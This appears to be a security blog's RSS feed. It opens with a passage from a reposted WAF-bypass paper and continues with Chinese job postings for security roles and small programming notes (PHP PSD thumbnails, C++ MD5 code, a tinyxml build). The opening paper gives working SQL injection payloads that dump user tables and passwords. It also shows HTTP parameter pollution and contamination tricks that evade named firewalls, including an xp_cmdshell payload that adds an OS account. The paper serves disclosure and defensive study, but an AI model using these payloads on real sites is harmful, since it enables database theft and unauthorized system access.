		Vendor : Penta Security System
		Product: Wapple Web Application Firewall
		Patch released: 2011-10-02 (In SQL Injection Custom Policy Mode)
		Publish released: 2011-10-04
		Credit : Prathan Phongthiproek and Suphot Boonchamnan
	
		These scripts can all SQL Injection rules:	
			1 ||1=1
			1 /*!order by*/ 3
			1 /*!union select*/ 1,table_name from /*!information_schema.tables*/
			1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/
			1 /*!union select*/ /*!user,password*/ from /*!users*/
		################################################################################################################
		

	
########################################	
 [0x03] - Advanced Bypassing Techniques
########################################
		
	In this section, we offer 2 techniques are &quot;HTTP Pollution: Split and Join&quot; and &quot;HTTP Parameter Contamination&quot;. 
From these techniques can bypass a lot of OpenSource and Commercial Web application firewall (WAF)
     
     
	++++++++++++++++++++++++++++++++++++++++++++++++++++
	 [0x03a] - HTTP Parameter Pollution: Split and Join
	++++++++++++++++++++++++++++++++++++++++++++++++++++

		HTTP Pollution is a new class of injection vulnerability by Luca Carettoni and Stefano Di Paola. HPP is a quite simple but
	effective hacking technique. HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting 
	query string. 

	Example of HPP: &quot;http://victim.com/search.aspx?par1=val1&amp;par1=val2&quot;

	HTTP Parameter Handling: (Example)
	
	+------------------------------------------------------------------+
	| Web Server 	  | Parameter Interpretation	 | Example	   |
	+------------------------------------------------------------------+
	| ASP.NET/IIS	  | Concatenation by comma	 | par1=val1,val2  |
	| ASP/IIS	  | Concatenation by comma	 | par1=val1,val2  |
	| PHP/Apache	  | The last param is resulting  | par1=val2	   |
	| JSP/Tomcat	  | The first param is resulting | par1=val1	   |
	| Perl/Apache	  | The first param is resulting | par1=val1	   |
	| DBMan		  | Concatenation by two tildes  | par1=val1~~val2 |
	+------------------------------------------------------------------+
	
		What would happen with WAFs that do Query String parsing before applying filters ? (HPP can be used even to bypass WAFs)
	Some loose WAFs may analyze and validate a single parameter occurrence only (first or last one). Whenever the deal environment concatenates
	multiple occurrences (ASP, ASP.NET, DBMan,) an aggressor can split the malicious payload.

		In a recent penetration test (Again), we were able to bypass a Imperva SecureSphere using &quot;HPP+Inline Comment&quot; on ASP/ASP.NET environment.
	This technique can bypass other Commercial WAFs too. More information about &quot;HPP+Inline Comment&quot; show below:	

	
	#Real World Example:

	1. Mod Security CRS (Credit: Lavakumar Kuppan)
		
		The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.
		
		Forbidden: http://victim.com/search.aspx?q=select name,password from users

		When the same payload is split against multiple parameters of the same name ModSecurity fails to block it.

		Bypassed : http://victim.com/search.aspx?q=select name&amp;q=password from users

		
		Let&#39;s see what&#39;s happen, ModSecurity&#39;s interpretation is
		
		q=select name
		q=password from users

		ASP/ASP.NET&#39;s interpretation is
		q=select name,password from users

		*Tip: This attack can be carried out on a POST variable in a similar way


	2. Commercial WAFs
		
		Forbidden: http://victim.com/search.aspx?q=select name,password from users

		Now we use HPP+Inline comment to bypass it.

		Bypassed : http://victim.com/search.aspx?q=select/*&amp;q=*/name&amp;q=password/*&amp;q=*/from/*&amp;q=*/users

		
		Analyzing, WAF&#39;s interpretation is

		q=select/*
		q=*/name
		q=password/*
		q=*/from/*
		q=*/users
		
		ASP/ASP.NET&#39;s interpretation is
		q=select/*,*/name,password/*,*/from/*,*/users
		q=select name,password from users


	3. IBM Web Application Firewall (Credit: Wendel Guglielmetti Henrique of Trustwave&#39;s SpiderLabs)
		
		Forbidden: http://victim.com/news.aspx?id=1&#39;; EXEC master..xp_cmdshell net user zeq3ul UrWaFisShiT /add --

		Now we use HPP+Inline comment to bypass it.

		Bypassed : http://victim.com/news.aspx?id=1&#39;; /*&amp;id=1*/ EXEC /*&amp;id=1*/ master..xp_cmdshell /*&amp;id=1*/ net user lucifer UrWaFisShiT /*&amp;id=1*/ --

		
		Analyzing, WAF&#39;s interpretation is

		id=1; /*
		id=1*/ EXEC /*
		id=1*/ master..xp_cmdshell /*
		id=1*/ net user zeq3ul UrWaFisShiT /*
		id=1*/ --
		
		ASP/ASP.NET&#39;s interpretation is
		id=1; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ net user zeq3ul UrWaFisShiT /*,1*/ --
		id=1; EXEC master..xp_cmdshell net user zeq3ul UrWaFisShiT --
		

		The easiest mitigation to this attack would be for the WAF to disallow multiple instances of the same parameter in a single HTTP request. 
	This would prevent all variations of this attack.
		However this might not be possible in all cases as some applications might have a legitimate need for multiple duplicate parameters. 
	And they might be designed to send and accept multiple HTTP parameters of the same name in the same request.To protect these applications the WAF 
	should also interpret the HTTP request in the same way the web application would.

		
	++++++++++++++++++++++++++++++++++++++++
	 [0x03b] - HTTP Parameter Contamination
	++++++++++++++++++++++++++++++++++++++++

		HTTP Parameter Contamination (HPC) original idea comes from the innovative approach found in HPP research by 
	exploring deeper and exploiting strange behaviors in Web Server components, Web Applications and Browsers as a result of query string
	parameter contamination with reserved or non expects characters. 
	
	Some facts:
     	- The term Query String is commonly used to refer to the part between the  &quot;?&quot; and the end of the URI
	- As defined in the RFC 3986, it is a series of field-value pairs
	- Pairs are separated by &quot;&amp;&quot; or &quot;;&quot;
	- RFC 2396 defines two classes of characters:
		Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * &#39; ()
		Reserved  : ; / ? : @ &amp; = + $ ,
		Unwise    : { } | \ ^ [ ] ` 

		Different web servers have different logic for processing special created requests. There are more web server, backend platform and special character combinations,
	but we will stop here this time.

	Query string and Web server response (Example)
	
	+-----------------------------------------------------------+
	| Query String	  |    Web Servers response / GET values    |
	+-----------------------------------------------------------+
	| 		  | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP	    |
	+-----------------------------------------------------------+
	| ?test[1=2	  | test_1=2	 	     | test[1=2	    |
	| ?test=%  	  | test=%		     | test=	    |
	| ?test%00=1	  | test=1	       	     | test=1	    |
	| ?test=1%001	  | NULL		     | test=1	    |
	| ?test+d=1+2	  | test_d=1 2		     | test d=1 2   |
	+-----------------------------------------------------------+
	
	Magic character &quot;%&quot; affect to ASP/ASP.NET	

	+--------------------------------------------------------------------+
	| 	Keywords     |        WAF   		  |  ASP/ASP.NET     |
	+--------------------------------------------------------------------+
	| sele%ct * fr%om..  | sele%ct * fr%om.. 	  | select * from..  |
	| ;dr%op ta%ble xxx  | ;dr%op ta%ble xxx	  | ;drop table xxx  |
	| &lt;scr%ipt&gt;	     | &lt;scr%ipt&gt;		  | &lt;script&gt;	     |
	| &lt;if%rame&gt;	     | &lt;if%rame&gt;		  | &lt;iframe&gt;         |
	+--------------------------------------------------------------------+


	#Real world examples:

	1. Bypass Mod_Security SQL Injection rule (modsecurity_crs_41_sql_injection_attacks.conf) 

		[Filtered]----------------------------------------------------------------------------------
	
		[Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match &quot;\\bsys\\.user_objects\\b&quot; 
		at ARGS_NAMES:sys.user_objects. [file &quot;/etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf&quot;] [line &quot;110&quot;] [id &quot;959519&quot;] 
		[rev &quot;2.2.0&quot;] [msg 	&quot;Blind SQL Injection Attack&quot;] [data &quot;sys.user_objects&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;WEB_ATTACK/SQL_INJECTION&quot;] [tag &quot;WASCTC/WASC-19&quot;] 
		[tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;OWASP_AppSensor/CIE1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;localhost&quot;] [uri &quot;/&quot;] [unique_id &quot;TfT3gH8AAQEAAAPyLQQAAAAA&quot;]

		[End Code]------------------------------------------------------------------------------

		Forbidden: http://localhost/?xp_cmdshell
		Bypassed : http://localhost/?xp[cmdshell

	2. Bypass URLScan 3.1 DenyQueryStringSequences rule
	
		Forbidden: http://localhost/test.asp?file=../bla.txt
		Bypassed : http://localhost/test.asp?file=.%./bla.txt

	3. Bypass AQTRONIX Webknight (WAF for IIS and ASP/ASP.Net)

		Forbidden: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables)
		Bypassed : http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)

		From this situation, Webknight use SQL keywords filtering when we use &quot;HTTP contamination&quot; by insert &quot;%&quot; into SQL keywords WAF is bypassed and sending these
		command to Web server: &quot;id=10 and 1=0/(select top 1 table_name from information_schema.tables)&quot; because &quot;%&quot; is cutter in web server.
	

		These types of hacking techniques are always interesting because they reveal new perspectives on security problems.
	Many applications are found to be vulnerable to this kind of abuse because there are no defined rules for strange web server behaviors.
		HPC can be used to extend HPP attack with spoofing real parameter name in the QUERY_STRING with &quot;%&quot; character on an IIS/ASP platform,
	if there is WAF who blocks this kind of an attack.

	

######################################	
 [0x04] - How to protect your website
######################################

- Implement Software Development Life Cycle (SDLC)
- Secure Coding: Validate all inputs and outputs
- PenTest before online
- Harden it !!
- Revisit PenTest
- Deploy WAF (For Optional)
- Always check WAF patch


#####################	
 [0x05] - Conclusion
#####################
 
- WAFs is not the long-expected
- It&#39;s functional limitations, WAF is not able to protect a web app from all possible vulnerabilities
- It&#39;s necessary to adapt WAF filter to the particular web app being protected
- WAF doesn&#39;t eliminate a vulnerability, It just partly screens the attack vector


#####################
 [0x06] - References
#####################

[1] WAF Bypass: SQL Injection - Kyle
[2] http://cwe.mitre.org/data/definitions/98.html
[3] HTTP Parameter Contamination - Ivan Markovic NSS
[4] Split and Join - Lavakumar Kuppan
[5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola
[6] blog.spiderlabs.com


####################
 [0x07] - Greetz To
####################
	
Greetz	    :  ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
Special Thx :  Exploit-db.com


				----------------------------------------------------
		Our disclosure purpose isn&#39;t helping security products but need to reveal theirs shit. 
		   Security Products not able to 100% protect from damn config/coding of admin. 
				  Just need a time and imagination for breach it !!
				----------------------------------------------------
</pre>
<center>
	<div id="footer">
		&copy; Offensive Security 2011</div>
</center>
]]></description>
			<link>http://neeao.com/archives/86/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-10-12 15:35</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/85/</guid>
			<title>rar: /lib/libc.so.6: version `GLIBC_2.7′ not found (required by rar)</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	在centos5.3下下载了个rar3.0 linux版本源码包，安装后执行rar命令发现提示rar: /lib/libc.so.6: version `GLIBC_2.7&prime; not found (required by rar)</p>
<p>
	打开压缩包是空的，所以此次在linux下安装rar并没有成功，根据错误信息应该是GLIBC_2.7&prime;这个库的问题</p>
<p>
	查询了一番，找到的最简单的解决方案竟然是直接将源码包中的rar_static文件覆盖安装目录下的rar文件</p>
<p>
	根据makefile我们可以找到rar脚本的位置:/usr/local/bin</p>
<p>
	然后执行命令即可</p>
<p>
	#cp rar_static /usr/local/bin/rar</p>
<p>
	&nbsp;</p>
<p>
	from:http://www.wood-moon.org/index.php/rar-liblibc-so-6-version-glibc_2-7-not-found-required-by-rar</p>
]]></description>
			<link>http://neeao.com/archives/85/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-09-28 15:40</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/84/</guid>
			<title>淘宝招聘资深产品经理（会员基础&amp;安全）</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	如果你，和我一样:</p>
<p>
	对淘宝登录输入密码的那个框框感觉很不满意！</p>
<p>
	对不能在mac下顺利付款购物感觉很不满意！</p>
<p>
	对海量的会员信息和行为很感兴趣；</p>
<p>
	对移动领域的电子商务和网络支付很感兴趣；</p>
<p>
	&nbsp;</p>
<p>
	并且你，和我一样：</p>
<p>
	明白互联网公司应该 &ldquo;以人为本，用户为王&rdquo;；</p>
<p>
	明白安全和安全感是都是及其重要的用户体验；</p>
<p>
	了解钓鱼网站，木马劫持，黑色产业链；</p>
<p>
	了解用户网购心理，痛恨诈骗团伙；</p>
<p>
	&nbsp;</p>
<p>
	再或者，你也对下面这些现象深恶痛绝，并打算亲自操刀改变这一切：</p>
<p>
	遍地都是免费杀毒软件的今天，电脑上依然潜伏着众多木马病毒，</p>
<p>
	网络上居然还有一群群邪恶大叔天天通过花言巧语欺骗他人来发财致富，</p>
<p>
	漂亮的图片背后，对应的却是劣质的商品，难道ps一出，世间真的再无真相？</p>
<p>
	那么，欢迎你来淘宝，和我们一起，通过产品经理这个岗位，改变世界。</p>
<p>
	&nbsp;</p>
<p>
	一般来讲，这里的产品经理岗位要求具备以下几点基本素质：</p>
<p>
	热爱互联网安全</p>
<p>
	了解互联网黑色产业链</p>
<p>
	独到的行业洞察力</p>
<p>
	出众的口头及书面沟通技巧</p>
<p>
	卓越的团队影响力和引导力</p>
<p>
	关注细节,一流的执行力</p>
<p>
	&nbsp;</p>
<p>
	这里准备了以下几种岗位，有兴趣的朋友可以发简历给我：zhiyong.zjw@taobao.com，或者有认识相关方面朋友的也可以推荐过来，推荐成功的有推荐奖金。</p>
<p>
	会员基础产品经理，职责keywords：注册、登录、基础信息</p>
<p>
	会员安全产品经理，职责keywords：盗号、钓鱼、木马、身份认证、刷库</p>
<p>
	无线安全产品经理，职责keywords：手机、wap、app、双因素认证</p>
<p>
	交易安全产品经理，职责keywords：诈骗、流程、规则</p>
<p>
	客户端安全产品经理，职责keywords：客户端、木马、劫持、反汇编、逆向工程、驱动</p>
<p>
	&nbsp;</p>
<p>
	工作地点: 杭州</p>
<p>
	工作薪酬: 年薪20W起，具体面议</p>
<p>
	再发一下联系方式：zhiyong.zjw@taobao.com</p>
<p>
	另有业务安全开发工程师、业务安全架构师，手机软件开发工程师，开发leader，等一系列岗位，有合适的朋友可帮忙内推。</p>
<p>
	&nbsp;</p>
<p>
	----------------------------------------</p>
<p>
	刚开始，我以为技术就是一切，潜心研究各种安全技术，希望用技术来解决一切问题；</p>
<p>
	后来我发现，一种技术只能解决一部分特定的问题，而我们的千千万万网民每天遇到的各种安全问题，并不是靠技术能完全解决，我试图去解决更多用户安全问题的时候，我发现了产品经理这种职位。</p>
<p>
	我希望遇到这样的一个你，既懂得用户体验和商业价值，又有着雄厚的安全技术做背景，而且绝不会钻进技术牛角尖。</p>
<p>
	来自：http://spark.42qu.com/10093359</p>
]]></description>
			<link>http://neeao.com/archives/84/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-09-28 11:22</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/83/</guid>
			<title>上海某上市游戏公司招聘网络安全工程师1名</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	&nbsp;</p>
<p style="margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
	上海某上市游戏公司招聘网络安全工程师1名，<strong>要求一年左右工作经验，具有较强的自学能力</strong>。<br />
	公司的工作环境比较轻松，公司的人员也都比较年轻，比较好相处，正在找工作的朋友可以看看，详情如下：</p>
<p style="margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
	职位描述：<br />
	1、关注最新的网络安全漏洞、病毒公告，并及时采取防范措施以保障公司的网络安全；<br />
	2、定期对公司产品进行漏洞扫描、安全评估等，并生成网络安全评估报告；<br />
	3、负责对信息安全事件进行调查、处理、跟踪；<br />
	4、参与公司信息安全体系建设。</p>
<p style="margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
	具体要求：<br />
	1、计算机、通信等相关专业本科及以上学历（能力突出者不受此限），一年左右信息安全相关工作经验；<br />
	2、熟悉网络体系结构、OSI模型、TCP/IP协议，具有扎实的信息安全理论知识；<br />
	3、熟悉常见的网络安全攻击手段、原理、防范方法；<br />
	4、了解常见的网络安全产品的原理及使用（如：防火墙、VPN、IDS、扫描器等）；<br />
	5、熟悉Windows、Linux操作系统，经培养后能独立完成应急响应工作；<br />
	6、为人随和，爱思考，具有较强的自学能力、适应能力。</p>
<p style="margin-top: 8px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">
	薪水方面需要自已和人事谈，有兴趣的请投简历到：<strong>offering_at_126.com</strong>，合适的话会通知面试，谢谢！</p>
]]></description>
			<link>http://neeao.com/archives/83/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-09-08 14:07</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/82/</guid>
			<title>山东某公司诚聘安全工程师</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	&nbsp;</p>
<div id="cke_pastebin">
	山东某公司诚聘安全工程师</div>
<div id="cke_pastebin">
	正式员工享受国家五险一金，法定节假日，提供宿舍。提供有竞争力的薪酬。</div>
<div id="cke_pastebin">
	熟悉网络攻防，有一定的脚本分析和编写能力，自学能力强。</div>
<div id="cke_pastebin">
	联系QQ：771634837。</div>
]]></description>
			<link>http://neeao.com/archives/82/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-09-02 15:43</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/81/</guid>
			<title>人人网招聘安全工程师3名</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	招聘人数：3<br />
	岗位职责：<br />
	负责公司核心业务及产品的安全测试、安全审核、安全风险评估与分析<br />
	对产品代码进行审视，找出安全漏洞并提出修改建议<br />
	研究各种安全技术，编写和维护用于安全测试的攻击工具、防御工具和分析工具<br />
	根据公司安全的需要开发安全辅助工具或平台<br />
	维护公司现有的安全程序，系统<br />
	负责公司Web产品涉及到的安全性研究<br />
	负责响应公司的安全事件<br />
	<br />
	岗位要求：<br />
	具有1年以上互联网产品的Java/PHP/C/C++开发经验<br />
	精通或熟练掌握php/perl/python/javascript/shell等多种脚本语言；<br />
	熟悉主流的Web安全技术，包括SQL注入、XSS、CSRF安全风险；<br />
	熟悉国内外主流安全产品、工具，如：AppScan扫描器、wvs等；<br />
	多年web安全工作经验，对Web安全测试有自己的理解<br />
	熟悉常见攻击和防御办法，熟悉web安全和渗透技术,能自行进行web渗透测试，恶意代码监测和分析；<br />
	有测试自动化经验者优先；<br />
	实际动手能力强，有良好的团队精神<br />
	善于学习新的知识，具有开拓创新精神</p>
<p>
	工作地点：北京</p>
<p>
	待遇：面议<br />
	联系方式:dan.liu#renren-inc.com</p>
]]></description>
			<link>http://neeao.com/archives/81/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-06-13 14:06</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/80/</guid>
			<title>php生成psd缩略图</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	1.psd文件为Photoshop的文件格式，浏览器不能直接显示，有个需求要将生成psd文件的预览图，Google了几天未找到可用的代码，遂自己研究了下，最终找到了解决方法，先将psd导出为jpg文件，然后再对其生成缩略图，这样就容易多了。</p>
<p>
	2.需使用到php的一个开源库：imagemagick，安装方法：Google中搜索&ldquo;ImageMagick php windows 安装&rdquo;，当然如果你是Linux的话，将Windows替换为Linux即可。</p>
<p>
	3.安装好了，关键是如何使用，经过几个小时的折腾，最终实现了转换，非常简单：</p>
<pre class="brush:php;">
$mw= NewMagickWand();
MagickReadImage($mw, &#39;123.psd&#39;);
MagickResetIterator($mw);
MagickWriteImage($mw,&quot;123.jpg&quot;);


</pre>]]></description>
			<link>http://neeao.com/archives/80/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-06-10 00:35</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/79/</guid>
			<title>Linux下调用openssl的md5类生成文件和字符串md5</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	找个能使用的c++调用openssl的代码都这么难，自己写了个，记录下。</p>
<p>
	以下代码在CentOS5下测试可用。</p>
<pre class="brush:cpp;">
//============================================================================
// Name        : m d 5.cpp
// Author      : Neeao
// Version     :
// Copyright   : http://Neeao.com
//============================================================================

#include &lt;iostream&gt;
#include &lt;openssl/md5.h&gt;
#include &lt;fstream&gt;

using namespace std;
/**
 * 字符串md5
 */
string string_md5(string str)
{
		unsigned char md[16];
		char tmp[33]={&#39;\0&#39;};
		string hash=&quot;&quot;;
		MD5((const unsigned char*)str.c_str(), str.size(), md);
		for(int i=0; i&lt;16; i++){
				sprintf(tmp, &quot;%02X&quot;, md[i]);
				hash+=(string)tmp;
		}
		return hash;
}
/**
 * 文件 md5
 */
string file_md5(string file_name)
{
		MD5_CTX md5;
		unsigned char md[16];
		char tmp[33]={&#39;\0&#39;};
		int length,i;
		char buffer[1024];
		string hash=&quot;&quot;;
		MD5_Init(&amp;md5);
		ifstream fin(file_name.c_str(),ios::in|ios::binary);
		while(!fin.eof())
			{
						fin.read(buffer, 1024);
						length = fin.gcount();
						if (length &gt; 0) {
							MD5_Update(&amp;md5,buffer, length);
						}
			}
			MD5_Final(md,&amp;md5);
			for(i=0; i&lt;16; i++){
					sprintf(tmp, &quot;%02X&quot;, md[i]);
					hash+=(string)tmp;
		    }
			return hash;
}
int main() {
		string file_name = &quot;/root/install.log&quot;;
		cout&lt;&lt;file_md5(file_name)&lt;&lt;endl;
		cout&lt;&lt;string_md5(file_name)&lt;&lt;endl;
		return 0;
}
</pre>]]></description>
			<link>http://neeao.com/archives/79/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-04-19 18:09</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/78/</guid>
			<title>新浪招聘安全工程师、安全开发工程师</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	<strong>联系方式（邮箱&amp;Gtalk）：</strong>guizaicn@gmail.com<br />
	欢迎有兴趣的同学！欢迎各种简历！</p>
<p>
	<strong>工作地点：</strong>北京</p>
<p>
	<strong>安全工程师：</strong></p>
<p>
	职位描述：</p>
<p style="padding-left: 30px;">
	负责公司产品和业务的安全检测和安全加固，引导开发人员修复安全问题<br />
	负责各类安全问题和安全事件的跟踪和分析，支持公司各部门日常安全工作<br />
	负责公司定期的安全风险评估和检测<br />
	负责安全设备，如防火墙、IDS、VPN等的维护和管理<br />
	负责WEB代码检查，WEB漏洞检测<br />
	DDoS、DNS劫持等突发网络安全事件的快速处理<br />
	突发安全事件的应急响应<br />
	跟踪和分析新的安全漏洞、安全技术</p>
<p>
	&nbsp;</p>
<p>
	职位要求（满足以下一条或者多条均可）：</p>
<p style="padding-left: 30px;">
	精通常见Web漏洞类型及原理（具有丰富经验者优先考虑）；<br />
	精通常见的WEB漏洞防范方法与安全审计；<br />
	精通渗透测试，熟练掌握各种渗透测试工具，精通常见安全攻防技术；<br />
	具有一定的编程能力，熟悉至少一种编程语言；<br />
	熟悉和处理过常见网络攻击，如DDoS、DNS劫持等突发网络安全事件的快速处理；<br />
	熟悉网络协议、交换机、路由器等网络设备的配置管理；<br />
	熟悉常见网络安全产品（如FireWall、IDS、Scanner、Audit、IPS、VPN等）的使用；<br />
	具有一定的逆向分析能力和经验；<br />
	对常见的Web编程语言要有一定的解读能力；<br />
	熟悉Linux或Windows操作系统及相关服务和应用的配置管理、安全加固；<br />
	熟悉钓鱼攻击和防范；<br />
	熟悉各种帐号保护机制，具有相关经验；<br />
	熟悉常见的应用程序漏洞、操作系统等漏洞；<br />
	跟踪和分析最新安全相关的技术；<br />
	具有较强的学习能力、良好的沟通能力、团队合作精神及高度的责任心</p>
<p>
	<strong>安全开发工程师：</strong></p>
<p>
	职位描述：</p>
<p style="padding-left: 30px;">
	负责公司内部安全支撑系统的开发和优化<br />
	负责公司网络安全相关的工具的设计与开发<br />
	把现有的安全类工作流程信息化，实现自动化操作<br />
	负责安全测试示例的编写</p>
<p>
	职位要求：</p>
<p style="padding-left: 30px;">
	两年及以上开发或实习经验，能力突出者不受此限制<br />
	熟悉linux系统基本操作以及linux环境下的shell编写<br />
	熟悉PHP+MySQL开发，熟悉JavaScript、HTML、CSS，了解WEB基本原理<br />
	熟悉多种编程语言者优先，如C,C++,python,perl等<br />
	熟悉面向对象编程，具有优良的编程风格和习惯，并会编写各种开发文档<br />
	具有强烈的责任心，较强的学习能力<br />
	具有良好的合作沟通能力和团队合作精神<br />
	熟悉web安全，具有安全开发经验者优先</p>
]]></description>
			<link>http://neeao.com/archives/78/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-03-01 10:01</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/77/</guid>
			<title>北京某公司招聘安全渗透人员</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	要求:<br />
	&nbsp;&nbsp; &nbsp;精通脚本攻击<br />
	&nbsp;&nbsp; &nbsp;熟悉各种数据库<br />
	&nbsp;&nbsp; &nbsp;熟悉linux操作系统.<br />
	&nbsp;&nbsp; &nbsp;<br />
	待遇:面聊<br />
	<br />
	联系方式:<br />
	&nbsp;&nbsp; &nbsp; xsafez2001@gmail.com</p>
]]></description>
			<link>http://neeao.com/archives/77/</link>
			<category domain="http://neeao.com/category/0/"></category>
			<pubDate>2011-02-24 17:29</pubDate>
		</item>
		<item>
			<guid>http://neeao.com/archives/76/</guid>
			<title>Linux下将Tinyxml编译为静态库</title>
			<author>Neeao</author>
			<description><![CDATA[Neeao's Blog ( http://neeao.com/ ) : <p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一个应用需要在Linux服务器上运行，不能保证每个服务器都有应用依赖的库，又懒得每个服务器都去安装下，也不太现实，于是就将应用所用到的库全部编译为静态库，直接丢到服务器上跑吧。此为应用调用xml配置文件依赖tinyxml库示例，记录下，备忘。</p>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1.下载tinyxml库，直接从官方下载，http://sourceforge.net/projects/tinyxml/。</p>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2.解压缩下载好的包，我解压缩到test目录下,进入项目目录。</p>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3.使用vim编辑器修改Makefile文件：</p>
<ul>
	<li>
		&nbsp;将其中的OUTPUT := xmltest一行修改为：OUTPUT := libtinyxml.a</li>
	<li>
		将xmltest.cpp从SRCS：=tinyxml.cpp tinyxml-parser.cpp xmltest.cpp tinyxmlerror.cpp tinystr.cpp中删除，<span style="font-family: Verdana;">，注释掉xmltest.o：tinyxml.h tinystr.h。因为不需要将演示程序添加到动态库中。</span></li>
	<li>
		将${LD} -o $@ ${LDFLAGS} ${OBJS} ${LIBS} ${EXTRA_LIBS}修改为：${AR} $@ ${LDFLAGS} ${OBJS} ${LIBS} ${EXTRA_LIBS}。</li>
	<li>
		保存退出。</li>
</ul>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4.执行make命令编译，即可在当前目录生成libtinyxml.a文件。</p>
<p>
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5.调用测试，当前目录新建一个test.cpp文件，内容如下：</p>
<pre class="brush:cpp;">
#include &quot;tinyxml.h&quot;  
#include &quot;tinystr.h&quot;    
#include &lt;iostream&gt;    
using namespace std;  
   
int main()  
{  
	//创建一个XML的文档对象。  
	TiXmlDocument *myDocument = new TiXmlDocument(&quot;test.xml&quot;);  
	myDocument-&gt;LoadFile();  
      
	//获得根元素，即Persons。  
	TiXmlElement *RootElement = myDocument-&gt;RootElement();  
   
	//输出根元素名称，即输出Persons。  
	cout &lt;&lt; RootElement-&gt;Value() &lt;&lt; endl;  
        
	//获得第一个Person节点。  
	TiXmlElement *FirstPerson = RootElement-&gt;FirstChildElement();  
	//输出接点名Person  
    
	cout &lt;&lt; FirstPerson-&gt;Value() &lt;&lt; endl;  
	//获得第一个Person的name节点和age节点和ID属性。  
	TiXmlElement *NameElement = FirstPerson-&gt;FirstChildElement();  
	TiXmlElement *AgeElement = NameElement-&gt;NextSiblingElement();  
	TiXmlAttribute *IDAttribute = FirstPerson-&gt;FirstAttribute();  
       
	//输出第一个Person的name内容，即周星星；age内容，即20；ID属性，即1。  
	cout &lt;&lt; NameElement-&gt;FirstChild()-&gt;Value() &lt;&lt; endl;  
	cout &lt;&lt; AgeElement-&gt;FirstChild()-&gt;Value() &lt;&lt; endl;  
	cout &lt;&lt; IDAttribute-&gt;Value() &lt;&lt; endl;  
   
        return 0;  
}  </pre>
<p>
	创建test.xml文件，内容如下：</p>
<pre class="brush:xml;">
&lt;Persons&gt;  
	&lt;Person ID=&quot;1&quot;&gt;  
		&lt;name&gt;周星星&lt;/name&gt;  
		&lt;age&gt;20&lt;/age&gt;  
	&lt;/Person&gt;  
	&lt;Person ID=&quot;2&quot;&gt;  
		&lt;name&gt;白晶晶&lt;/name&gt;  
		&lt;age&gt;18&lt;/age&gt;  
	&lt;/Person&gt;  
&lt;/Persons&gt;  </pre>
<p>
	编译当前文件，调用libtinyxml.a库：</p>
<p>
	[root@server tinyxml]# g++ -o test test.cpp ./libtinyxml.a</p>
<p>
	执行编译好的程序：</p>
<p>
	[root@server tinyxml]# ./test<br />
	Persons<br />
